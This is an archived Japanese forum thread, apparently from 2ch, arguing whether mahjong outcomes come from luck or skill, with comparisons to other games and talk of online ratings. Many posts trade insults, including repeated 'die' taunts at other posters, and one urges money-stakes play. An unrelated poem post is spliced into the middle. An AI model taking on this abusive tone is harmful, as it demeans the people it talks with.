普通に運だろ？
バイオス＝運
オーエス＝腕
って位どうしようもない程運主体。

サッカーって実力関係あんの？
http://sports2.2ch.net/test/read.cgi/wc/1025194445/

１００

>>99
審判に金を上手く渡す実力

サッカー
運＝メディアプレーヤー
実力＝OS
位の割合。

麻雀（わかりにくそうなんで訂正）
運＝OS
実力＝beck.asf
位の割合。

サッカーなら今すぐ友達適当に集めてブラジル代表とガチンコ（よーするにお互い勝つ気）で
やれば100試合やれば100試合負ける。

これを麻雀で同じように対応させると下手しなくても勝ち越したりする。
そん位麻雀は運。前のほうでジャンケンみたいな単純なものならどうとか
言ってた奴いたけど同じ。ただジャンケン・・ポン終了とかみたいな秒殺過程ほぼ0でなくて
過程に絵合わせ的パズルなゲーム性があるから皆面白がってやるだけの話。

>>102
長文うざい
読む気しねーよボケ。
今すぐ氏ね

>>102
こいつは確実に弱い。
間違いない。

>>99
糞スレﾜﾗﾀ

>>104
絵本とかしか読めないような低学歴っぷりを発揮する>>102にも
わかりやすいような例をあげると東風じゃ番付けに多重疑惑が
一切出ずに何回か名前が出るくらいの腕ありますが何か？

イカサマ前提にすれば間違いなく実力（というか技術か）だな。これは
疑いようもない事実。なんたって牌を操作できるんだから。

>>107
初心者

オレはやっぱ麻雀は運と実力の組み合わせだと思っている。
だから強い奴は長い目で見れば勝つと思う。

しかし、強くなるための労力の割にはその得られる結果が少ないので（費用対効果の問題）
麻雀には否定的だな。

何かしらのジャンルに時間をかけるなら
そのジャンルでは普通の奴には負けないぐらいの結果が示せないと意味がない。
麻雀にそこそこ時間をかけても「オレは麻雀が強いんだぜ」と言えるほどにはなりにくい。
それではあまりに空しい。
かといって本当に強くなるまで時間をかけるつもりもない。


麻雀を単なる娯楽と考えるならば、これほど面白い娯楽もないだろうが。

イチローだって５打数ノーヒットの日はあるわけで。

>>110
なんかイチロー調子悪いね。

>>109同意
>>1 >>102氏ね

>オレはやっぱ麻雀は運と実力の組み合わせだと思っている。
>だから強い奴は長い目で見れば勝つと思う。
>しかし、強くなるための労力の割にはその得られる結果が少ないので（費用対効果の問題）
>麻雀には否定的だな。

まあこの通りだろうなあ。そしてこれを文字通りに受け取るとやっぱり
運＞実力　になっちゃうなあ。そうすると>1の言い分も一理はあるってことか・・

>>102は激しく的を射ていると思われ

>>112の怒りようは意味不明

ジャンケンほど運勝負じゃないけど>>102は大体あってるだろう。
初心者がプロに勝つコトだってあるのが麻雀。

運もあるけど腕も結構関係してるで。

何を切るレベルならある程度麻雀やってたらほぼ答えは一緒や思うけど
実戦では状況によって切り順、捨て牌も変わるやろ。

んで相手の捨て牌から手牌を読んで、自分の必要牌が使われてそうかとか
相手はどんな手かとか考えてツッパルかオリか決定するやろ。

状況が同じでも人によって判断ちゃうやろ？　その辺は腕やろ。
負ける人は状況判断間違ってる事が多いか全局自分があがろうと自分の手牌に
集中してて状況判断してへん人が多いんちゃうかな。

パチスロでもそうやけど正確な状況判断が大切やで。
自分は正確な状況判断＝腕って思ってるけど。

まっどうしようもない時やえげつなく勝つ時もあるからその辺は運って感じかな。
そんなとこで。　長文でゴメン。

>>117
1行だけ省略されてる・・・

でも、概ね的を得てる意見だと思う。
>117氏は強そうだな。

おれの中では、運7割、腕3割。
強者は、その3割で長期スパンを勝ち続ける。
まぁ、スタイルにもよると思うけどね。

実際運か実力かは微妙なところだけど、
確実にいえることは、
麻雀には勝ち組と負け組みが存在してるとゆうこと
そしてその勝ち組は、なるべく必然性を得る努力をしているとゆうこと

そんなもん両方必要に決まってるやん
割合？数値的に決まるわけないやん
なんでこの手のスレが立つのか不思議だ
ちなみにひとつ間違い
下手を東風荘でいう下ランなみ、プロをR2100前後(R1800でもいいやｗ)と仮定すると
100試合も打てば確実に後者が勝ち越します。
上手い人の下ラン時の対戦成績とか見せてもらいなさい

やっぱりシラネー奴にはわこんねーよ
深いんだよ。　麻雀は。

上手い奴は100回やれば勝ち越す、ってのはタコが出来るほど聞いたけど
同じ人と何度も打つとは限らんし、対戦相手の戦績をそこまで気にする
奴もいねーしなあ。やっぱり一回の半荘で実力を示すのは無理なのか？

例えば将棋なら、俺（東風でＲ２０００弱）が羽生さんとマジでやれば
１０００回やったら確実に１０００連敗するだろう
しかし、井出プロ、安藤プロ、小島プロと麻雀を半荘１０００回やれば
２００回位ならトップを取れるかもしれない
この辺が麻雀の長所でもあり短所でもあると思う

麻雀も普段の人付き合いと同じで
実際強いかどうかでなく、強そうに見せることが大事。
東風荘ではその辺がはっきりしないのがいいのかもしれないが。

>>120
＞そんなもん両方必要に決まってるやん
運と実力、両方あったら負けるわけ無い。
当たり前。

＞割合？数値的に決まるわけないやん
確定要素と不確定要素の割合って言えばわかる？
様々な要素を数値化する能力の無いヤツが麻雀強いとは思えない。
期待値ってわかる？

>>120
まさかとは思うけど東風荘の話だった？
だったら悪かった。

>>125
決まってるやんって書いてるのにそれを見て 当り前 って言われても困るなぁ放置してくれよ
期待値知らんヤツなんているんか？各事象の数値に起こる確率をかけたもんだな
125がそれまでのどれか知らんけど
運７割･･･とか適当に値を言うなってことを言いたかった。
君の言うように実力を数値化できるまで細かく要素を分類出来るようになればいいな
え？もしかして既に分類してるのか？そりゃすごい！君は天才だ

コンピュータで最強の麻雀思考ルーチンって作れるの？

勝ってる奴は「俺には実力あるんだ」と思い込むもんです
負けてる奴と同じ牌がきてもほとんど結果はかわらないでしょ

麻雀に実力が関係ないという人は
プロの牌譜を知り合いにでも
全員に同じ牌・同じつもがくるように並べてもらって
四人で打って見なさい最終形が全然違うものになる
現にこれやってるところが結構ある

>>128
スーチーパイは最強

>>127
各要素を数値化する方法なんていくらでもある。
例えば過去の実績。

＞下手を東風荘でいう下ランなみ、プロをR2100前後(R1800でもいいやｗ)と仮定すると
＞100試合も打てば確実に後者が勝ち越します。

これは当然。
>>120で自ら書いているように、サンプルが多いほど成績は実力の値に収束する。

＞割合？数値的に決まるわけないやん
上記のような結果の集合を一定のルールを用いて数値化する。
運という要素、実力という要素も、サンプルがあれば数値化できないはずがない。
当然、結果への寄与度という形で割合にすることも可能。
完全数値化は困難だが、ある程度の精度で数値化し、それを結果に結びつけるのは簡単。

確率をどれだけ重視するかは人それぞれ。
打っている時、膨大な思考量の人もいればそうでない人もいる。
どんなやり方でも否定はしないが、「数値化できない」というのは明らかに誤り。

＞そりゃすごい！君は天才だ
言葉も無いね。

>>130

バカじゃないのか・・・・

麻雀は1割が理であとは感性でしょ。大体勝つ=強いじゃないだろ

大体勝つ＝強いじゃないの？

>>133
バカはテメーダヨ
東風厨は東風にカエレ

スーチーパイって役満出まくるよね
あれ最強だわ

>>133
ネタですか？

>>133
バカでしょ。
全部結果論で終わるだけじゃん。
アホ丸出し。

実力？かんけーねーよ。運だよ、運。ｳﾝｳﾝ

東風荘にかぎって言えば実力は関係ないね。。。
ちなみに俺は第一超ラン雀士ですが・・・

>>141
同意。運だけだな。
ちなみに俺はあんたに勝ち越してる。

ないですが何か?

「麻雀はけっきょく運だ」と言う奴は、
よほど弱い奴かよほど強い奴のどっちか。
１は前者だろうなあ・・・

「ヘボ」と言われつづけた上に、
いくら持ってかれたのか、かわいそうにすらなる。

しかしこれだけはっきりと意見が分かれると一生答えは出ないんだろうな

>東風荘にかぎって言えば
この言葉使っていいのなら
常にR2000維持してる人、あるいは
何度新規作っても超来れないヤツは
常に運が(･∀･)イイ!!か(･Ａ･)ｲｸﾅｲ!!人たちなんですね(･∀･)

・それって運かｗ

>>147
＞何度新規作っても超来れないヤツ
麻雀板には、そんな奴いないだろ。
東風荘ユーザ全体でみれば、そりゃ低Ｒもたくさんいるけど、
麻雀板に書き込みするような『麻雀ヲタ』なら、
簡単に超に来れる程度の実力ってのが平均レベルだと思われ。

ううん・・どこにでも>>1みたいな人いるけど
あれよ麻雀は、な、アレ。いくぞ、このスレおわらせちゃうけどいいよね

　　　麻雀勝つのは運負けるは実力　　

これが理解できれば>>1も強くなれるよ。
ちなみに心がけ

>>149
ハァ？

>>147
暇なだけだろ

何度も新規作るやつなんているのか？せこすぎるよ
君もやったくち？

あ〜どれすは、にゃんにゃんにゃん♪て〜んこてん、じぇいぴー♪

確かに東風荘のレベルはヒドイね。
この前はじめてやってみたけど、レートって何？って感じ。
レート高いのを自慢するタコ。そしてタコ同士でタコ和がり連発。
正直言って萎えた。ツマラン！

イキがってる連中はフリーで腕試しすることをオススメする。
ピン以上のお店がいいよ。結構稼げるから。
どうせ勝つなら儲かった方がいいでしょ？ね？ね？

>>153
あなたのような頭が弱そうな人は東風荘の待合がおすすめですよ。
もしかして｢君はつよいんだね｣というレスがもらえるとおもったのかな？ｗ

>>154
で、何が言いたいの？

>>154
頭が弱いの？

>>154
ﾄﾝﾌﾟｰ厨か？

>>155 まあおちつけって(藁

ふたりとも廊下に勃ってなさい！

>>160
東風荘にも強い打ち手はいるよ

あ、でもRはかんけーないや
R高いヘボもいるし
R低いつわものもいる

>>160
まあ試合数こなしてるやつはただの暇人
フリー逝けよ

フリー行く方がよっぽど暇に見えるのは俺だけか･･･

金にならない麻雀って何が楽しいの？
トッププロと打てるならまだしも、素人とやるなら金でしょ。
東風荘、本気で理解不能。

まあ東風のRほどあてにならないものはない
「ちっ！スカウターの故障だぜ」
どうしてこんなヘボがR高いんだよ〜

一度競技ルールでやってみることをオススメします。

>>162
おまえだけかと

>>162
出たな東風厨ﾜﾗ
どう考えても試合数こなしてるのは暇人に決まってるだろ
フリー通う奴も東風で試合数こなす奴も暇なんだよ
東風で何千試合もする暇があるならフリー逝って麻雀したほうがマシなんでないの
つー意見だろ
家に引き蘢って画面に向かって１人で何千試合もするより
外に出てフリーでちゃんとした麻雀打ったほうがいいのは誰が見ても明らか
はっきりいってキモイんだよ東風はヒッキー丸出し
よく読んでやれよ暇人
外に出て人と会話しないと日本語の読解力がおかしくなるぞﾜﾗ
友達作れよ

>>163みたくどぶに金捨てるくらいなら東風でまたーり打つ方が楽しい

>>167
禿同！

>>168
金を拾いに行ってんだよ。

>>168
俺は一人で打つより人と打ったほうが楽しいな。
人と関わりたくない人が東風やるんじゃないの？

>>171
なるほど、勉強になりますたー

いや、東風荘は人と打つんだよ
知り合った人とオフ会やったり楽しいよ

一生ヒキコモッテロ

現物喰い変えｱﾘｱﾘｱﾘ!!!!!!!!!!!!!!!!!!!!

ルールがちゃんとしてるほうがいいだろ
クイタンなしでクイカエありの無茶な麻雀で強い弱いほざいてんじゃねーよ
>>173
画面みながら一人で打ってるだろうが
「オフ会」なんて特殊な条件つけなきゃ人と接してないのはヒキコモリだろ

>>176
こんな時間に２ｃｈに書き込んでるやつが他人をヒキコモリ呼ばわりは笑える（ｗ

東風荘は、すっとあのルールで逝くの？

ネット環境の整ってない会社って、いまどきあんの？

>>177
ｵﾏｴﾓﾅｰ

ここですか引き篭もりを語るスレは？

実力関係ねえよ。上手い奴は考えることも大体同じ。

上手い奴って言ってる時点で実力関係ありだろ！

>>1は、きっとカントリーマアムを食いながら打ってる限りは運でしか勝てないﾔｼだよ

すべては↓のスレに
http://sports2.2ch.net/test/read.cgi/wc/1025194445/

君たち必死だな

二回しかレスしてないのにこのスレの伸びよう！

なんつーか牌効率とか極めたらもうこれは運のみだよね、これは認めろよマジ
お前等ってアレだよな、ちょっと相手の待ちとか読んでたまたまあってたりすると
鬼の首を取ったようなふうに自慢して挙句の果てに自分が強いって錯覚するのな、これにはﾜﾛﾀ（・∀・）

つーか相手の待ちなんて相手のツモ切りとか手出しとか覚えといて裏筋とかマタギとかみりゃ大抵あたるしさ
そんなとこみんなわかってるわけでそんな所も考慮して俺は運のみだと思うわけ
将棋やってる奴と違って麻雀やってる奴ってのはすぐ驕るからな。
なんかここの奴って「俺はフリーいってるからつえーよ」ってカンチしてる奴多すぎ。
ともかく運だけなんだからｶﾞﾀｶﾞﾀｳｻﾞｲよ。レスするつもりなかったけどあまりにも滑稽だから我慢せきませんでしたｗ
（；´Д｀）＝3ふぅ馬鹿ばっかでやんなる

なんでそんな自信たっぷりなのか理解に苦しむよ

お前等のｶｷｺみてると

正直ムカつく

なんつーか　その　ここ　ｵﾓｼﾛｲね

読みがたいてい当たるとか言ってる時点で語る資格なし。

>>1お前は仮に牌効率や待ちが、普段は読めてるとしても負け組みですね
なぜかというとこんなレス見てムカツク程度の精神では
ちょっと調子が悪くなるとすぐ熱くなって
まともに待ちが読めなくなったり、読めても廻しうとうという我慢も出来ず
結局勝負してふっちゃうそれでますます熱くなって・・・
って感じで結局負けちゃうんでしょうね
それで自分が熱くなって負けてるくせに
運が無い運が無い
ぼやいてるだけじゃないんですか？
しかもあなたのレスを見ると余裕がありませんね
何か強引に運だけって方向にもってこうとして
相手を見下したい言い方で物を言う
典型的な頭の弱い人ですね
まあ人としての基礎的な物をしっかり
学習してくださいね

>>189
はいはい

わかったわかったお前は自分が強いと思ってるｶﾝﾁちゃんなんだね

もういいよｗ滑稽だから

>>186
牌効率だってW

いつも同じパターンで打つのか君は？
それじゃヘボだろ

>>191
君とならデカリャンピンで打てるね
余裕で勝てそうだ

牌効率、、、ﾌﾟッ

はーーーいこうりつ　　どどんどどんどん
はーーーいこうりつ　　どどんどどんどん
はーーーいこうりつ　　どどんどどんどん


ヴァーカ

必死だなぁみなさん

牌効率って言葉でわらってる奴ってなんなんだろう・・・

はーーーいこうりつ　　どどんどどんどん
はーーーいこうりつ　　どどんどどんどん
はーーーいこうりつ　　どどんどどんどん

>>190
ﾌﾟｯそんな長文こしらえて相当俺の文が癇に障ったんだろうね。

熱くなってンのどっちかわかりゃしないなぁ。顔真っ赤のしてキーボード叩く音が聞こえそうだな（ｗ

>>1よ

泣くな

>>190もあれだなｗ

>>197
（ ´,_ゝ｀）ﾌﾟｯ

これからも牌効率でやっていくつもりです

>>190
得意げに厨房に長文してんじゃねーよ
あほか？放置しろよ

はっきり言って麻雀は運だろ

僕は牌効率しか愛せません

はーーーいこうりつ　　どどんどどんどん
はーーーいこうりつ　　どどんどどんどん
はーーーいこうりつ　　どどんどどんどん

>>1がたくさんいるな。
自作自演するにしても時間おいてやれよ。
１分刻みじゃバレバレじゃん（藁

１も恥ずかしいが１９０も恥ずかしい奴だな
論破してやったって悦にいってそうでわらえるｗ

>>1が
>>190の軽い挑発に顔を真っ赤にして自作自演をして
仕返しをするスレになったのはここですか？

>>206
自作自演？
（ ´,_ゝ｀）ﾌﾟｯ

馬鹿が増えたな

だから自称麻雀ｳﾏｰはやなんだよ

もうツマンネから帰るわ

俺１９０を愛してます

僕も１９０が大嫌いです

>>190はＤＱＮそれを叩いてるのは>>1
この二人を見て笑ったのが見てる人
こんなところですか？

俺様とデカマンピンで闘牌できるやついる？

>>190
を叩くスレになりました

>>1よ

泣くな

明日があるさ

誰か就職先紹介して下さい
おながいします

ほっほっほ

牌効率って凄くね？

（ ´,_ゝ｀）ﾌﾟｯ
やっぱ>>1は馬鹿だね事実を指摘されて
相手を馬鹿呼ばわりして帰るのか
まあそんな>>1にマジレスした俺も馬鹿か

牌効率牌効率牌効率牌効率牌効率牌効率牌効率牌効率
牌効率牌効率牌効率牌効率牌効率牌効率牌効率牌効率

麻雀は運が大半を占めるってことで　　　

　
　　　　　　終　　　　　了　　　　　　　　　　

る

牌の効率の前に
自分の人生の効率を考えろよW

>>190
お前人を馬鹿にしてんじゃねぇよ
お前はそんなに偉いのかこの馬鹿が
麻雀覚えてから物言えや

正直かなりムカツク
あームカツク
まじで死ね>>190

ほっほっほっほっほっほっほ

あｇじゃぺｒｇじぇｗｐｇじゃｐｓｇｊ

>>187
＞なんでそんな自信たっぷりなのか理解に苦しむよ
＞正直ムカつく
いいことを教えてやろう
麻雀は自信がないと勝てない
麻雀はムカついたら負け

だから麻雀は意味なく自信があってなんかムカつく奴が強い
お前は弱い（ﾜﾗ

>>228
気が済んだ？もう馬鹿にはレスすんなよ

俺さー、牌コーリツ知ってんだぜ
マジよくね？

>>1
だから
人生の効率を考えてさあ
もうここにくんなよW

誰か、俺様とデカマンピンで闘牌できるヤシいる？

コウリツがあったら勝てるね
あとは運

これが麻雀だろ
さすが俺

高卒ですが何か？

うわああああああああん
悔しい・・
もう寝る
うあああああああああん

>>190の
ネタレスで>>1が>>190を叩く自作自演をしつつ
１０００を目指すスレになったのはここですか？

>>1
まあおちつけってｗ

>>190を
煽ってる奴は>>1馬鹿は相手にするなと言うのは
普通の人>>190はネタのつもりがみんなに本気と思われた人

>>236
誰か訳してくれ

意味がわからん

>>239
厨にマジレス(･∀･)ｲｲ!

牌効率は永久に不滅です

age

あ、ネタスレ化してる・・・

牌効率がネタ扱いされてるということは実力なんて関係無い派が多数と考えてよろしいか？

牌効率ヲタは早起きだ

なんど言わせれば気がすむんだ！実力なんてカンケーねーよ。運だよｳﾞｧk

運のみ

牌効率？

己の弱さを『運』のせいにするヘタレが集まるスレはここですか？

どっちでもいいよ

ほっほっほ

牌効率で勝てるの？?hぁかですか？

勝ち組：カモを確保するための手法　　　　　→麻雀は運
負け組：麻雀を理解していないｏｒ現実逃避　→麻雀は運

まあ、麻雀なんて競馬やパチンコと同じギャンブルなんですから負けてもそう本気にならずに・・

>>254
麻雀は競技ですが、なにか？

パチや三競と同列に並べられちゃたまらんよ。

>>186
>つーか相手の待ちなんて相手のツモ切りとか手出しとか覚えといて裏筋とかマタギとかみりゃ大抵あたるしさ

大抵あたるって１点で読めるってこと？　ツモ切りや手出しを３人分全部覚えてるの？
どうせベタオリしてやっぱりこれ当たりか〜とか言う奴だろ

麻雀打ってる奴が全員同じ打ち方で同じ読みなら運だろうけどそんなこと有り得ないでしょ？
全員がイチロークラスなら野球なんて運だよねって言ってたらバカだろ？　それと同じようなもんじゃん
究極の話をすれば野球だろうが何だろうが全部運だろ！

まっ後レスついてむかつくならスレ立てるなってことで

ツキのみ
-----おわり-----

http://www.t-matsu.com/i-2ch/c20.html

二ちゃん様がギャンブルだと・・

運の良いやつが天和連発するだけで自称実力派は手も足も出ません。ﾜﾗ

テンホウ連発するとか言うと頭悪そうだな。
そこまでしなくても、毎局５巡目にピンフドラ１テンパイするだけで手も足も出ないと思う。

毎局５巡目にピンフドラ１テンパイされんなら、毎局天地人和かますしかないな

俺様とデカマンピンで闘牌できるやついる？

貧富の差とレート

都合悪いとﾈﾀにしたがる頭弱い連中がつどう板ってここでよさそうだね

まだ大富豪の方が腕がいるよ　麻雀より

頭悪そうなスレだな・・・

麻雀は運です。
俺なんか毎回天和、地和が出てしまいます。
たまには普通の役であがってみたいものだ

>>267
タンヤオ君を見習え！

運だって散々いってんだろﾎﾞｹﾅｽｰ

>>267
あがるな！雀頭をくずすとか面子を落とすとかして
手作りしなおせ！！！

麻雀は運
人生も運

「麻雀は運ではない。運で１着は取れるけど、２着は取れない。」
とか意味のわからんことをいってる輩がいたような・・・
俺にはｻﾊﾟｰﾘ意味がわからんかった

>>272
運で四着もむずかしい

大富豪だって（ﾌﾟ
ｶﾞｷﾉｱｿﾋﾞｼﾞｬﾅｲﾉ?

>>274
頭オカシイの？

http://www8.plala.or.jp/nasuka/rumsses.htm

http://www.h3.dion.ne.jp/~kody-art/index.htm

パチンコメーカーの人が質問に答えてくれる。意外と面白い。

>>275
なんでおかしいか詳しくいってみよ。話はそれからだ。

君タチにはﾜﾛﾀ（・∀・）

馬鹿ばっか

下手ばっか

牌効率しろ

つもあがりの点を１／２にすると実力の差がはっきりする。意味分かります？
素人でも思わぬところで運で和了ってしまう。それが麻雀の醍醐味なんすよ。

>>280
それ言ってる人いたなぁ素人が必ず負けるルールとは
見たいな事本に書いてたまとめると
�@ドラは無くす
�Aつもあがりは半分
�Bリーチ一発は無い（リーチは可）
これでやると必ず素人は負けるそうだよ
まあ当たり前といえば当たり前か

麻雀において必ずとか絶対とかはないかと・・・

運が８割。実力２割。

勝ったときは自分の運が良かったと思い、
負けたときは実力のせいにして次に励む。
自分より相手のほうがうまかったのだと思ってね。

>>281
その本はいかんな。

>>284
そうかなぁ？
じゃあ具体的にどの辺がいかんのか教えてくれ
あくまでも素人はこのやりかたでやればまず負ける
ってところのみで見てね

その感覚　とうの - 2002/06/20(Thu) 15:15 No.529

容姿、しゃべる言葉、匂い、存在そのもの
何一つとして感動を与えることができない。
そしてそのことは考えてはいない。

妥協や、理解。
そういうものをわかっているのとそうでないもの。
そうじゃない人。
自分を疑わない。

許せないものがあって
普段は忘れているけど、許してはいない。
被害を受けていなくても許せない許していない。

死んで欲しいわけじゃなく
自分の中での「それ」がある。

--------------------------------------------------------------------------------

Re: 忘れる　凸 - 2002/06/20(Thu) 23:22 No.530

意味をわかりやすくするか、表現に凝るか、どっちかにしよう

>>285
まず「素人」の言葉の意味が不明瞭。
どのあたりまでを指すのか。

極端な話、ルールは知ってるけど
まったくやったことのない素人ならどんなルールでも負ける。

でも基本のわかっている程度の素人ならそのルールでも負けないと思う。
ただし、これもまた、「基本」ってなによ？って話になるわけで。

要するに、そんな抽象的なことで「必ず」を語るのは間違いかと。

もうひとつには、
その本の指すルールで打つと素人がまけるといえる理由を考えてみると、
（作者の意図を汲み取って・・・）
�@素人にもドラがのって高い手ができてしまう可能性がある
�A聴牌をとってバレバレな待ちでもツモ上がりできる可能性がある
�B素人にも一発がつく可能性がある。
って考えられる。

でもこれらはいわゆる玄人にも同じ条件で、
これらが起こる確率は極限的に等しくなる。
（つまり、一定半チャン繰り返せば、起こる確率は同じということ）
これは当然のことだけど、
その本の指摘する点には、統計的な差は生じない。
特に�Bなど愚の骨頂。

雑文、少し訂正。

×でも基本のわかっている程度の素人ならそのルールでも負けないと思う。
○でも基本のわかっている程度の素人ならそのルールでも負けるとはかぎらないと思う。

×その本の指摘する点には、統計的な差は生じない。
○その本の指摘する点からは統計的な確証は全く得られない。

なるほどねぇ

ただ、ふと思ったんだが
ドラに関しては、ドラがあったほうが恩恵を受けるのはむしろベテランのほうではないか？

ベテランのほうがいわゆるドラの生かし方を知ってるはず。
そう考えるとホントに確証は得られなさそうな話だな。

長期的に考えると、素人が有利になることは絶対にありえない。
短期だとわかんないけどね。

ドラなかったら役を重視する全く別の麻雀になるな
赤のありなしと同じように

ツモが１／２って山に残ってる牌で待つんだから関係ないような
一発も一発目かわせばいいんだから問題なし
それが麻雀
そのルールってツキだけ素人に負ける自称中級レベルの半端な奴が
せめてツキだけの素人には勝ちたいがためのルールみたいだな

>>290
短期でも負けるなよ初心者君

きもいよおおまえら

>>293が一番キモイ。

まぁいずれにせよその本は駄作と

http://www8.plala.or.jp/nasuka/rumsses.htm

業界人が質問に答えてくれる。意外と面白い。

素人は和了りだけを見てるからこのルールが無意味だと思える。守りも見てる人には理解できる。放銃するかしないかによって決まる。麻雀は読みが重要なんだよ。

↑変な文スマソ

いや、あのルールでやってた時期あるけど、素人には負けなかったよ

手役派がスピード麻雀に愚痴こぼしてるだけにしか見えないな・・・
281のルールってのは「実力で決まる麻雀」ではなくて
「じっくり手作りする醍醐味が味わえる麻雀」だと思うぞ。
俺は面前手役重視の古い麻雀が好きな人間なんで、281のルールは「楽しい」とは思う。
だけど、そのルールで「実力が出る」と主張するのは見苦しいだろ。

>>287
つもあがりやドラ・一発が乗るのは玄人も同じといいますが
それだと運の比率があがりやすくなります。
つまり実力がある方が勝てると言うのは
運の要素をぎりぎりまで減らしたのが
>>281であげたルールです。
このルールによって
�@手役の構成力
�A相手の読み
�B捨て牌の迷彩
の麻雀における重要な点が重視されやすくなる。
とのことです

ただ>>300の言うことももっともです。
しかしスピード麻雀とは言っても
バレバレの待ちと、迷彩の効いた待ちでは
上がれる確率は単純に言えば後者の方が高いでしょう
単純に言えばバレバレの待ちの４倍ですからね
そもそもスピード麻雀とは
とにかく早く張る
ではなく
とにかく早くあがるってことじゃないですか？
それならこのルールでやれば
相手からの出上がりを誘う力もつくので
スピード麻雀というところから見ても
十分理にかなってると思うのですが
どうでしょうか？

関係無い氏ね

俺は聡明なので大体のルールに適応する自信があるから、
別に今のフリールールを否定されて実力とか言われてもなんとも思わないぞ。

>>301
迷彩するとスピードが落ちる
これ当たり前
スピード重視だと手役がつきにくい
これも当たり前
スピード重視だと素直に打つから読みの鋭い人が有利になる
これも当たり前
迷彩重視だと相手は全ツべたオリになって読みのヘボい奴でもどうにかなる
これも当たり前

スピード重視の麻雀のほうが奥が深くて実力差が出るつーこと

つーか、スピード麻雀だからって素人にまける奴はド素人

素人がツイてるんじゃない
お前にも同じだけのツキはきてるはず
負けるのは弱いから
たまたま上がられたぐらい取りかえせないのはヘボいから

おまえらごちゃごちゃうっせーよ

　　　　麻雀は運
　　

　　　　　　　　　　　　　　　以上

>お前にも同じだけのツキはきてるはず
同じだけきてるってどうしてわかるんだよ。そもそも何を以って「同じ」
とするんだよ、ええ？まあ1000歩譲って同じだけツキが来てたとしても
同じ時にこなければ両者の差は雲泥の差だと思うんだけどな、どうよ？

その差とやらも判断しかねる

つーか、下手糞が運だけで勝つことも当然あるだろ。
このスレで吠えてる奴は、いったい何がいいたいのかわからん。
下手糞ってのは打ってりゃわかるけど、そいつが偶然にバカヅキで勝ったとして、
別にどうってことなくないか？
「あー、あいつ下手糞だけどツイてたな。こりゃしょうがないか」
で終わる話だと思うんだが？

下手糞に負ける奴も
下手糞だろうW

たとえド素人相手でも、１００回やって１００回トップは取れないなー
麻雀ってそういうゲームじゃねーし。

麻雀に関して

『勝った奴が上手い奴』とか
『下手に負ける奴も下手』とか

本気で言ってる奴は下手

>>310=>>313=ド下手

＞迷彩するとスピードが落ちる
＞これ当たり前
聴牌が遅くても出上がり出来る待ちの方が
あがれる

＞スピード重視だと手役がつきにくい
＞これも当たり前
これはその通りでも手役の構成力がないと出来る役を
見逃す結果になることだってある
特にそれで張った結果が悪形の役無し聴牌なら
最悪

＞スピード重視だと素直に打つから読みの鋭い人が有利になる
＞これも当たり前
(ﾟДﾟ)ﾊｱ?

＞迷彩重視だと相手は全ツべたオリになって読みのヘボい奴でもどうにかなる
＞これも当たり前
迷彩かかってるかかかってないか完璧に見分け
られるんですか？
そしてその理屈だとスピード重視でも
相手が全ツべたオリすれば読みがへぼくても
勝てる。ただ相手の手読まないんじゃ勝てないっしょ

おまえらごちゃごちゃうっせーよ

　　　　麻雀は運
　　

　　　　　　　　　　　　　　　以上

>>315
今の標準的フリールールでも手役重視の重厚な打ち方で十分戦えるって主張？
それならそれでいいじゃん。

http://www2.sega.co.jp/bbs/article/o/opendice/38/egxynh/index.html

おもしろい

運で勝とうが実力で勝とうが結果がすべて。んな事より負けたときの態度の方が
よっぽど大事だけどな。あれこれ言い訳は見っとも無い

>>319
激しく同意

つーか、その下手くそ君にはトータルで勝てるんだから半荘の１回や２回勝たせてやっていいじゃん
タコが長居してくれると助かるでしょ？
まさかとは思うけどそのド素人相手に

ト　ー　タ　ル　で　勝　て　な　い　な　ん　て　こ　と　な　い　よ　ね　？

ツキだけの奴に負けるやつはツキだけの奴以下ってことでよろしいですか？

>>322
多分そいつもつきだけでたまたまつかないって
いう設定では？と言って見るテスト

>321
トータルトータル言うけど、お前相手のそんなところまで気にするの？逆も然り。
同じ相手と何度もやるとはかぎらんだろ。相手がトータル勝ち組みだろが負け組みだろが
その場の勝ち負けにはカンケーねえけどな。
あと、ツキだけの勝利、大いに結構。それも立派な勝利だ。牌が揃えば兎に角
和了りなんだから、それにけちつけるのはおかしいyo

強い奴が勝つんだよ！　そいつがその時勝てるかどうかは、メンツしだい。
同じ相手とずっと打ち過ぎなんじゃねえの？

↑違うな、勝った奴が強いんだよ

麻雀が強いかどうかは、野球とかサッカーと一緒で周りから強いって言われる奴はその中では強いんだろうな。レベルが高い中でやって初めて自分のぬるさがわかるんだろうよ。

おまえらごちゃごちゃうっせーよ

　　　　麻雀は運
　　

　　　　　　　　　　　　　　　以上

じゃあ、あんたは勝ったり負けたりなんだね。

始めたころから勝ちまくってるからいってんだよ
これが運じゃなくてなんなんだよ
とりあえずアホは氏ね

>>1
関係無い。しつこい馬鹿氏ね

おまえがまず市ね

強いって言葉には、運が強いというのも含まれているということで
「おまえ強いな」

誰が何と言おうが、例えタコに見えようが、勝っているヤツが強い。
強いかどうかって勝ってるかどうかじゃないのか？

上手に見えて負けてるヤツより、タコに見えても勝ってるヤツが強い。
これ以上に何があるんだ？

勝ってる奴っていっても、その時たまたま勝ってるだけかもしれないだろ
今、眼前のこの試合で勝ってる奴が強い、なんて言い切れるわけなかろうに

>>335

もちろん、その場ではなくてトータルで。
言葉足らずだった。
ｽﾏｿ。

開局した瞬間で全牌の1割が、流局時に6割が見えてるのが麻雀だろ？
序盤で和了がでまくる展開ならともかく、普通は3割以上見えてる状態での
駆け引きなわけだから、見えてるものからの類推能力が高い奴が有利だと
思うんだが。レインマン最強説がどこかに書いてあったけど、そういうこと。

>>337
そんな当たり前のことを誇らしげに書くなｗ

やっぱだれかが上のほうで書いていたけど、
程度の問題が大きいと思う。

例えばさ、ワールドカップにしてみても、
イタリア代表とブータン代表が対戦したらどう考えてもイタリアが勝つけど、
FIFAランク上位（最下位付近のブータンよりはかなり上）の韓国代表となら
韓国がイタリアに勝つこともありうるわけじゃん。
で、その韓国が勝ったのが「運が良かった」といわれるものかも。

これがマージャンにも言えるんではないでしょうか？
まぁこの結論からいくと実力は関係あるということになるんだけど、
運の要素も強いということになるね。

あのー、運だって言ってる方はなんで麻雀やってるんですか？失礼な言い方ですが愚痴にしか聞こえないです。そんな愚痴言う暇があったら戦術とか勉強したらどうですか。強くなったら運を上手くいかすことだってできるはず。

『実力があれば運を上手く生かすことができる』っていう発言は激しくイタイ
アイタタタタタタタ

＞『実力があれば運を上手く生かすことができる』っていう発言は激しくイタイ
禿同。
どうやっても操れないから「運」っていうんじゃないの？

しかし麻雀は運だけじゃないだろう。
一番わかりやすいのが「待ち牌の読み」ではないかな？

http://www8.plala.or.jp/nasuka/rumsses.htm

